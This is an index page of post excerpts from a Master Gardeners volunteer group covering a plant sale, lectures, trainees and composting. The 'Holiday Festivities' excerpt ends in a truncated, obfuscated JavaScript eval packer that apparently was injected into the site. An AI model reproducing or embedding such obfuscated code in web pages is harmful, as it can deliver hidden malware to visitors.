Spring Plant Sale coming soon!

  • March 15, 2016
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Join us for the Annual Spring Plant Sale!  Plenty of Free Parking! Please plan to join us on Saturday, April 30 from 9am-noon. This year marks our 15th annual sale, and we are excited that it will take place at…

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Spring Lecture Series tickets on sale now!

Piedmont Master Gardeners, in cooperation with the Virginia Cooperative Extension Service, invite you to the 2016 Spring Garden Lecture Series, starting in March! The lectures are on the following Thursday evenings from 7:00 pm-8:30 pm in Room A at the Albemarle County Office…

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Welcome to our new MG trainees

The 2016 Master Gardener training program started off without a hitch, until the second class…snow day! We are grateful to have such a great group of enthusiastic learners and volunteers.  If you see one of our Interns at a Master…

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Wintertime blues

Wondering what gardeners do and think about during the cold months of winter? Take a look at our monthly newsletter the Garden Shed. You will find articles about growing indoor plants, tips to prepare for the spring, and much more. …

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Holiday Festivities

The Master Gardeners had a lovely holiday gathering last week to celebrate the season.  Part of the evening included a slideshow that highlighted the past year and MG projects. Take a look at what Master Gardeners do: eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return…

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Worms at work

This is a great time-lapse video of worms working through compost layers. Per the video description: Timelapse video of redworms (Eisenia fetida) through 20 days of vermicomposting. Aprox. 2-3 cm (1inch) thick layers of compost and sawdust were topped with…

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Virginia Master Naturalists

Several of our Master Gardener volunteers participate in other Cooperative Extension programs such as 4H and the Master Naturalists.  Just like the Master Gardener program, it is that time of year again to think about what programs you would like…

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John Austin Tree Memorial (update)

Thanks to the Master Gardeners’ contributions, a tree memorial for John Austin was planted in late October.  With everyone’s support we were able to plant a Pagoda Dogwood Cornus alternifolia, with the needed soil amendments, mulch, and a memorial marker.  A contribution was also made to the Ivy Creek Foundation…

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Fall Info sessions starting

It is that time of year again when the weather gets cooler, leaves change color, and we look to planning the 2016 Master Gardener training program.  Join us for one of our information sessions about the program and how to…

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